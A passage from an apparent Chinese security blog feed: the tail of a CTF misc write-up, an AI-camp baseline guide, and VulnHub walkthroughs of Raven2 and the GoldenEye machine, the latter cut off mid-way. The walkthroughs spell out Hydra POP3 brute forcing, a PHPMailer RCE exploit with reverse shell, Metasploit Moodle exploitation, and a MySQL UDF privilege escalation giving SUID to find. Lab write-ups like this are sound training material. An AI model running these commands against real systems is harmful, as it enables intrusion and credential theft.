&lt;p&gt;编码一是Brainfuck 编码二是js 直接丢浏览器的控制台就行，编码三是Ook！&lt;/p&gt;
&lt;p&gt;flag{ab71cda1b495e13b3f21f6fd50221978}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Misc Bluetooth&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用Wireshark打开流量包 字符串搜索flag可以找到三个流量包，将这三个流量包16进制复制到010中去点多余的部分可以得到一个压缩包，流量包里可以看到zip的文件头504b00304 还有压缩了flag.txt和key&lt;/p&gt;
&lt;p&gt;解压压缩包可以得到flag.txt 和 key&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502621-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag.txt：10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797&lt;/p&gt;
&lt;p&gt;key：5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152&lt;/p&gt;
&lt;p&gt;转16进制后异或即可得到flag&lt;/p&gt;
&lt;p&gt;`flag = 10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797&lt;br /&gt;
key = 5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152&lt;/p&gt;
&lt;p&gt;flag_hex = hex(flag)[2:]&lt;br /&gt;
key_hex = hex(key)[2:]&lt;/p&gt;
&lt;h1&gt;使 key_hex 和 flag_hex 的长度相同，进行零填充&lt;/h1&gt;
&lt;p&gt;max_length = max(len(flag_hex), len(key_hex))&lt;br /&gt;
flag_hex = flag_hex.zfill(max_length)&lt;br /&gt;
key_hex = key_hex.zfill(max_length)&lt;/p&gt;
&lt;h1&gt;使用 bytes.fromhex 转换为字节&lt;/h1&gt;
&lt;p&gt;flag_bytes = bytes.fromhex(flag_hex)&lt;br /&gt;
key_bytes = bytes.fromhex(key_hex)&lt;/p&gt;
&lt;h1&gt;进行逐字节的异或操作&lt;/h1&gt;
&lt;p&gt;flag_xor = bytes([f ^ k for f, k in zip(flag_bytes, key_bytes)])&lt;br /&gt;
print(flag_xor)`&lt;/p&gt;
&lt;p&gt;flag{66526827ff3ba85e1444a0df4acbba93}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Misc coding_analyse&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;936544a55314a7e4339545f47776a6e41315a7d41325743575655455b4478516a6537416&lt;/p&gt;
&lt;p&gt;先解html 936544a55314a7e4339545f47776a6e41315a7d41325743575655455b4478516a6537416&lt;/p&gt;
&lt;p&gt;再逆序&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20241021_1729502603-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;6147356a6158744b55455657534752314d7a51314e6a67774f5459334e7a41355a445639&lt;/p&gt;
&lt;p&gt;再解16进制和base64得到&lt;/p&gt;
&lt;p&gt;hnci{JPEVHdu345680967709d5}&lt;/p&gt;
&lt;p&gt;凯撒偏移量2得到&lt;/p&gt;
&lt;p&gt;flag{HNCTFbs345680967709b5}&lt;/p&gt;
</content:encoded></item><item><title>Datawhale AI夏令营|“深度学习（极端降水预测）”方向-baseline笔记</title><link>https://blog.fiveqm.com/archives/370/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/370/</guid><description>Modelscope Notebook 启动与运行指南 Step 1：启动魔搭Notebook 点击链接： 访问 Modelscope Notebook 页面。 选择方式二 GPU环境： 在Notebook设置页面选择“方式二 GPU环境”。 启动Notebook。 Step 2：10分钟一键跑通b...</description><pubDate>Sun, 28 Jul 2024 11:48:08 GMT</pubDate><content:encoded>&lt;h3&gt;Modelscope Notebook 启动与运行指南&lt;/h3&gt;
&lt;h4&gt;Step 1：启动魔搭Notebook&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;点击链接&lt;/strong&gt; ：
&lt;ul&gt;
&lt;li&gt;访问 &lt;a href=&quot;https://www.modelscope.cn/my/mynotebook/preset&quot;&gt;Modelscope Notebook&lt;/a&gt; 页面。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;选择方式二 GPU环境&lt;/strong&gt; ：
&lt;ul&gt;
&lt;li&gt;在Notebook设置页面选择“方式二 GPU环境”。&lt;/li&gt;
&lt;li&gt;启动Notebook。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Step 2：10分钟一键跑通baseline&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;下载baseline文件（大约需要2分钟）&lt;/strong&gt; ：
&lt;ul&gt;
&lt;li&gt;在Notebook终端输入以下命令并回车运行：bash复制代码&lt;code&gt;git lfs install git clone https://www.modelscope.cn/datasets/Datawhale/AICamp_earth_baseline.git&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;打开文件，一键运行（大约需要20分钟）&lt;/strong&gt; ：
&lt;ul&gt;
&lt;li&gt;进入下载的baseline文件夹。&lt;/li&gt;
&lt;li&gt;打开并运行相关的Notebook文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;等待运行完成，下载output.zip文件&lt;/strong&gt; ：
&lt;ul&gt;
&lt;li&gt;运行结束后，生成的output.zip文件会在指定的目录中。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Step 3：提交文件，获取评分&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;提交output.zip文件&lt;/strong&gt; ：
&lt;ul&gt;
&lt;li&gt;访问 &lt;a href=&quot;http://competition.sais.com.cn/competitionDetail/532234/format&quot;&gt;提交链接&lt;/a&gt; 页面。&lt;/li&gt;
&lt;li&gt;上传output.zip文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;查看评分结果&lt;/strong&gt; ：
&lt;ul&gt;
&lt;li&gt;评分过程大约需要2分钟。&lt;/li&gt;
&lt;li&gt;评分结束后，可以在“我的成绩”处查看评分结果。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Raven2 wp</title><link>https://blog.fiveqm.com/archives/308/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/308/</guid><description>先用nmap把内网的靶机扫出来nmap -sn 192.168.199.1-254 再来一个端口扫描nmap -sS -sV -T5 -A -p- 192.168.199.134 能看到端口22，80，111，48744是打开的 先浏览器访问一下80端口 浏览了一圈没发现什么 目录扫描一下dirse...</description><pubDate>Wed, 17 Jul 2024 15:51:54 GMT</pubDate><content:encoded>&lt;p&gt;先用nmap把内网的靶机扫出来&lt;code&gt;nmap -sn 192.168.199.1-254&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721216256-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再来一个端口扫描&lt;code&gt;nmap -sS -sV -T5 -A -p- 192.168.199.134&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721216357-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;能看到端口22，80，111，48744是打开的&lt;/p&gt;
&lt;p&gt;先浏览器访问一下80端口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721216526-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;浏览了一圈没发现什么&lt;/p&gt;
&lt;p&gt;目录扫描一下&lt;code&gt;dirsearch -u 192.168.199.134&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_NDMe2mIAAAAASUVORK5CYII_.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;扫出了/js /css /vendor /wordpress&lt;/p&gt;
&lt;p&gt;从上往下一个一个的访问，访问到/vendor 时，返回了/vendor 的目录索引&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721216933-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在PATH下找到第一个flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721216973-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}&lt;/p&gt;
&lt;p&gt;目录索引里有PHPMailerAutoload.php，应该是安装了PHPMailer&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721217098-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里写一下什么是PHPMailer&lt;/p&gt;
&lt;p&gt;PHPMailer 是一个广泛使用的PHP库，用于发送电子邮件。它提供了一种简单而强大的方式来使用PHP发送邮件，并支持许多功能，如：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SMTP&lt;/strong&gt; ：支持通过SMTP服务器发送邮件，这使得邮件发送更为可靠和专业。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTML邮件&lt;/strong&gt; ：允许发送带有HTML内容的邮件，支持丰富的文本格式和嵌入图片。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;附件&lt;/strong&gt; ：可以方便地添加文件附件到邮件中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多语言支持&lt;/strong&gt; ：支持多种语言的邮件内容和错误信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全性&lt;/strong&gt; ：支持SSL和TLS加密，确保邮件传输的安全性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定制化&lt;/strong&gt; ：可以设置发件人、收件人、主题、正文等多种邮件属性。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;PHPMailer 是许多PHP项目中常用的邮件发送解决方案，因为它比PHP内置的&lt;code&gt;mail()&lt;/code&gt;函数更为灵活和功能丰富。&lt;/p&gt;
&lt;p&gt;点击VERSION，看到PHPMailer的版本为5.2.16&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721217278-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;搜索引擎搜索能看到这个版本有远程执行代码漏洞&lt;a href=&quot;https://blog.csdn.net/qq_37602797/article/details/112018515&quot;&gt;PHPMailer远程命令执行漏洞复现_phpmailer 5.2.10-CSDN博客&lt;/a&gt;，但是没找到PHPMailer的访问端口，作罢&lt;/p&gt;
&lt;p&gt;直接搜索PHPMailer 5.2.16 exp，找到了一个exp，&lt;a href=&quot;https://www.exploit-db.com/exploits/40974&quot;&gt;PHPMailer &amp;lt; 5.2.18 - Remote Code Execution - PHP webapps Exploit (exploit-db.com)&lt;/a&gt;，wordpress的CVE-2016-10033&lt;a href=&quot;https://xz.aliyun.com/t/2301?time__1311=n4%2Bxni0%3DG%3DDtM4mTe05DKf4YqruwC%3D1O4D&quot;&gt;WordPress &amp;lt;= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)复现分析 - 先知社区 (aliyun.com)&lt;/a&gt; ，通过邮件漏洞进行反弹shell&lt;/p&gt;
&lt;p&gt;在kali里面找exp脚本，&lt;code&gt;searchsploit 40974&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721221299-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;复制到桌面，&lt;code&gt;cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/桌面&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后去访问一下/wordpress ，发现重定向到了一个网址raven.local&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721218210-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;应该是要本地ip绑定域名进行访问，修改hosts文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721220620-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问raven.local/wordpress ,进入到wordpress的主界面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721220667-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;邮件服务在 &lt;a href=&quot;http://192.168.199.134/contact.php&quot;&gt;/contact.php&lt;/a&gt; 下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721222212-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编辑脚本，修改为对应的参数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721223523-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先监听到本地的4444端口&lt;code&gt;nc -lvp 4444&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;再执行exp&lt;code&gt;python3 40974.py&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721223483-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先访问&lt;a href=&quot;http://192.168.199.134/contact.php&quot;&gt;http://192.168.199.134/contact.php&lt;/a&gt; 去生成后门文件test.php 再去访问&lt;a href=&quot;http://192.168.199.134/contact.php&quot;&gt;http://192.168.199.134/test.php&lt;/a&gt; 进行反弹shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721227019-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721227259-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进行提权&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;find / -name flag*&lt;/code&gt; 查找flag，找到了flag2.txt和flag3.png&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721227379-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /var/www/flag2.txt //查看flag2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721227475-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag2{6a8ed560f0b5358ecf844108048eb337}&lt;/p&gt;
&lt;p&gt;浏览器访问&lt;a href=&quot;http://raven.local/wordpress/wp-content/uploads/2018/11/flag3.png&quot;&gt;http://raven.local/wordpress/wp-content/uploads/2018/11/flag3.png&lt;/a&gt; 查看flag3&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721227562-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;cd /var/www/html/wordpress 跟进带wp目录下，cat wp-config.php 查看wp的配置文件，拿到数据库的数据库名和密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721227956-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ps -aux | grep root &lt;/code&gt;能看到mysql是以root权限运行的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721229217-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那就要想想数据库提权了&lt;/p&gt;
&lt;p&gt;&lt;code&gt;dpkg -l | grep mysql&lt;/code&gt; 查看mysql的历史安装包版本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721229421-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;mysql版本为5.5.6&lt;/p&gt;
&lt;p&gt;udf提权&lt;/p&gt;
&lt;p&gt;kali查找udf的脚本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721229731-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;复制到桌面进行编译&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc -g -c 1518.c 
gcc -g -shared -o icepeak.so 1518.o -lc


python -m http.server 8081 本地拉起http服务使用wget命令讲编译好的.so文件上传到靶机
![](/images/20240717_HSKumHSxCFUAAAAASUVORK5CYII_.jpg)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;mysql -uroot -pR@v3nSecurity 连接数据库&lt;/p&gt;
&lt;p&gt;show global variables like &apos;secure%&apos;; 查看是否具有写入权限&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_CLy4AAAAAAElFTkSuQmCC.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;有读写权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;use mysql; 
进入数据库
create table foo(line blob); 
创建数据表foo
insert into foo values(load_file(&apos;/var/www/html/wordpress/icepeak.so&apos;)); 
插入数据
select * from foo into dumpfile &apos;/usr/lib/mysql/plugin/icepeak.so&apos;; 
( Foo表成功插入二进制数据，然后利用dumpfile函数把文件导出outfile 多行导出，dumpfile一行导出
outfile会有特殊的转换，而dumpfile是原数据导出新建存储函数)
create function do_system returns integer soname &apos;icepeak.so&apos;; 
(创建自定义函数do_system 类型是integer，别名soname文件名字然后查询函数是否创建成功)
select * from mysql.func;
select do_system(&apos;chmod u+s /usr/bin/find&apos;); 
(调用do_system函数来给find命令所有者的suid权限，使其可以执行root命令)
quit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721231005-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用/usr/bin/find提权找flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721231384-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;权限已经为root&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240717_1721231437-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到flag4&lt;/p&gt;
&lt;p&gt;flag4{df2bc5e951d91581467bb9a2a8ff4425}&lt;/p&gt;
&lt;p&gt;参考文档&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/heiyu-sec/p/16329175.html&quot;&gt;【原创】项目三Raven-2 - 黑羽heiyu - 博客园 (cnblogs.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/kukudeshuo/article/details/118888664&quot;&gt;vulnhub靶场，Raven2_raven2靶场-CSDN博客&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>goldeneye wp</title><link>https://blog.fiveqm.com/archives/178/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/178/</guid><description>先用nmap把部署再VM里的靶机ip扫出来 nmap -sn 192.168.199.1-254我的靶机网络设置为net，子网ip为192.168.199.0 靶机ip为192.168.199.133 端口扫描 nmap -p- 192.168.199.133 这里55006和55007是pop3的...</description><pubDate>Mon, 15 Jul 2024 15:05:02 GMT</pubDate><content:encoded>&lt;p&gt;先用nmap把部署再VM里的靶机ip扫出来&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nmap -sn 192.168.199.1-254&lt;/code&gt;(我的靶机网络设置为net，子网ip为192.168.199.0)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721047370-5e825db391c3d80a1c7aebfd5155776f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;靶机ip为192.168.199.133&lt;/p&gt;
&lt;p&gt;端口扫描&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nmap -p- 192.168.199.133&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721047732-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里55006和55007是pop3的端口&lt;/p&gt;
&lt;p&gt;浏览器访问&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721047444-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;提示访问&lt;a href=&quot;http://192.168.199.133/sev-home/&quot;&gt;http://192.168.199.133/sev-home/&lt;/a&gt;去登录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721047548-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我已经登陆过，所以保存了账号密码&lt;/p&gt;
&lt;p&gt;F12查看网页源码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721047856-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看一下这个js文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721047898-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到了账号和密码&lt;/p&gt;
&lt;p&gt;这里注意，用户名是小写的，密码需要解密&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721047985-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用户名：boris 密码：InvincibleHack3r&lt;/p&gt;
&lt;p&gt;登录得到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721048099-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;翻译一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721048129-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;F12看一下源码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721048475-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里得到了两个用户名Natalya Boris&lt;/p&gt;
&lt;p&gt;端口扫描就扫出了两个非常高的端口，55006和55007&lt;/p&gt;
&lt;p&gt;分别访问后发现，只有55007能够访问&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721048297-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过Hydra 暴力破解 pop3 服务，把得到的用户名和kali的fasttrack.txt 词表结合对密码进行破解&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f 192.168.199.133 -s 55007 pop3
hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.199.133 -s 55007 pop3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721049283-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20240715_1721049302-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后通过nc去连接pop3服务，通过账号密码登录邮件服务&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;USER boris//输入用户名
PASS secret1!//输入密码
list//列出邮件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721049551-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过retr命令查看邮件&lt;/p&gt;
&lt;p&gt;在natalya的第二封邮件里发现了一些信息&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721051030-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用户名：xenia&lt;/li&gt;
&lt;li&gt;密码：RCP90rulez！&lt;/li&gt;
&lt;li&gt;域名：severnaya-station.com&lt;/li&gt;
&lt;li&gt;网址：severnaya-station.com/gnocertdir&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;还需要修改linux的/etc/hosts文件，绑定域名&lt;/p&gt;
&lt;p&gt;这里将本机靶机的ip和域名进行绑定&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gedit /etc/hosts    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721051484-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问&lt;a href=&quot;http://severnaya-station.com/gnocertdir/&quot;&gt;http://severnaya-station.com/gnocertdir/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721051710-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;根据得到的用户名和密码进行登录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721051904-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20240715_1721051978-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在一短信中发现有提到用户名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721052102-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用Hydra 暴力破解一下密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -l doak -P /usr/share/wordlists/fasttrack.txt -f 192.168.199.133 -s 55007 pop3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721052517-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;密码：goat&lt;/p&gt;
&lt;p&gt;在次nc连接pop3&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721052710-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拿到用户名和密码&lt;/p&gt;
&lt;p&gt;username: dr_doak&lt;br /&gt;
password: 4England!&lt;/p&gt;
&lt;p&gt;再次登录&lt;a href=&quot;http://severnaya-station.com/gnocertdir/&quot;&gt;http://severnaya-station.com/gnocertdir/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在旁边的文件夹里发现一个txt文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721052917-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载下来打开发现一个一个图片的地址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721053050-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721053111-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接看图片看不出来什么，把图片下载下来&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721053270-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现了一串base64加密的文本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721053341-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解码得到xWinter1995x!&lt;/p&gt;
&lt;p&gt;管理员用户名：admin 密码：xWinter1995x!&lt;/p&gt;
&lt;p&gt;再次登录&lt;a href=&quot;http://severnaya-station.com/gnocertdir/&quot;&gt;http://severnaya-station.com/gnocertdir/&lt;/a&gt; 以管理员的身份&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721053908-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到Moodle的版本是2.2.3&lt;/p&gt;
&lt;p&gt;使用msf进行getshell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfconsole                        ---进入MSF框架攻击界面
search moodle                     ---查找 moodle类型 攻击的模块
use 1                             ---调用1  exploit/multi/http/moodle_spelling_binary_rce调用攻击脚本
set username admin                ---设置用户名：admin
set password xWinter1995x!        ---设置密码：xWinter1995x!
set rhost severnaya-station.com   ---设置：rhosts severnaya-station.com
set targeturi /gnocertdir         ---设置目录： /gnocertdir
set payload cmd/unix/reverse      ---设置payload：cmd/unix/reverse
set lhost 192.168.199.128          ---设置：lhost ip
exploit  ----执行命令
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721054485-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这是执行失败是因为没有开启PSpellShell&lt;/p&gt;
&lt;p&gt;我们用管理员账户开启PSpellShell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721054598-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再次执行命令&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721055092-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;出错了，发现是ip设置错了，修改ip后，再次执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721055112-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拿到shell&lt;/p&gt;
&lt;p&gt;执行tty&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721056405-image.png&quot; alt=&quot;&quot; /&gt; &lt;img src=&quot;/images/20240715_1721055307-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;python反弹shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_1721056418-image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将代码替换到Path to aspell，ip为本地ip&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/20240715_4kbQAAAABJRU5ErkJggg__.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先监听在10086端口&lt;/p&gt;
